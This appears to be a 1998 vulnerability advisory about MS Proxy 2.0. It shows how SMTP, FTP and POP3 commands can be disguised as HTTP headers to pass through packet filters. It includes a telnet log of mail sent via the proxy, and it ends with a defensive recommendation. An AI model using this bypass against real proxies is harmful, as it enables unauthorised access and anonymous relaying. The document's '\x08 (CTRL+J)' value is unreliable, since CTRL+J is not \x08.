COMMAND
MS Prpxy 2
SYSTEMS AFFECTED
Win NT with MS Proxy 2 (but this applies to majority other proxies)
PROBLEM
Mnemonix found following. He came across an interesting "feature"
that could allow someone to by-pass packet filtering if enabled.
The essence of the "exploit" is to connect to a remote host on a
given port - in the example provided by Mnemonix has used the
SMTP port (25) - through the Web Proxy Service. What you attempt
to do is disguise service-specific commands as HTTP headers.
Below is a log of a telnet session where Mnemonix telneted to the
Web Proxy Service, made a GET request and passed off the SMTP
commands as HTTP headers:
----------
GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0
mail from: me@here.com
rcpt to: mnemonix@globalnet.co.uk
data :
Subject: This is the Subject Line
:
This is the body of the message. To get here do a Ctrl+J. To place a
single dot on a line do another Ctrl+J
.
220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
250 <me@here.com> is syntactically correct
250 <mnemonix@globalnet.co.uk> is syntactically correct
354 Enter message, ending with "." on a line by itself
250 OK id=0zQmVd-0007md-00
500 Command unrecognized
500 Command unrecognized
What is happening here is that the proxy interprets everything
with line or continuous string with a ":" (colon) as a header and
so passes it on to the final destination. The proxy server also
adds some of its own HTTP headers such as "Via: proxy_name",
"Host: final_destination", "Connection: Keep-Alive" as well as
the orignal "GET / HTTP/1.0" (This is why you get some "Command
Unrecognised"s. For a service like FTP or POP3 you can string
all the commands together like so:
GET http://some.server:21_or_110/ HTTP/1.0
:(CTRL+J)
user whoever(CTRL+J)
pass whatever(CTRL+J)
stat(CTRL+J)
etc = etc and finish with ENTER.
Note- everything is stored up and then on you pressing enter twice
it is sent to the target in a oner - the target buffers the
headers and deals with them sequentially. Some it understands - eg
your stealthed-as-HTTP headers and others it doesn't eg the real
HTTP proxy headers. Depending on the configuration of the proxy
server it may allow external attackers to come in off the internet
and access services or machines through a packet filter that ONLY
allows incoming requests on port 80. Once you are onto the proxy
server requests are passed off the internal interface to machines
inside your "protected" LAN - making it as though the packet
filter was not there. In publicly acessible proxies - attacks can
be launched against other machines across the Internet and to a
certain degree hide the attacker's own IP address on the target
machine. This method of attack can be used to by-pass IP address
trust (or distrust) mechanisms as well as to exploit with r* unix
daemons.
Most proxies will understand CONNECT (used for SSL tunneling) as
well. That's definitely more efficient than POSTing through HTTP.
HTTP POST is limited: telnet, NetBios etc. will not work, while
CONNECT will pass them straightforward.
This was tested on NT Server 4.0, Service Pack 3 with important
hotfixes, IIS 3.0 and MS Proxy 2.0, but as was stated other
web-pased proxies are also susceptible.
SOLUTION
Rather than relying on the Admin to configure the proxy properly
would it not be safer to get the proxy to filter out unkown
headers. For example most browsers will specify a "User-Agent:"
header - the proxy should pass this through - but it should remove
a non-standard "HTTP" header like "mail from: me@here.com" -
since when do browsers use this as an HTTP header - other than
when used for subversive activities. There should also be a
mechanism where it will strip out headers containing the hex
value \x08 (CTRL+J) - because you could do this :
User-Agent: Mozilla/2.0(CTRL+J)
Command 1(CTRL+J)
Command 2(CTRL+J)
Command 3(CTRL+J)
etc etc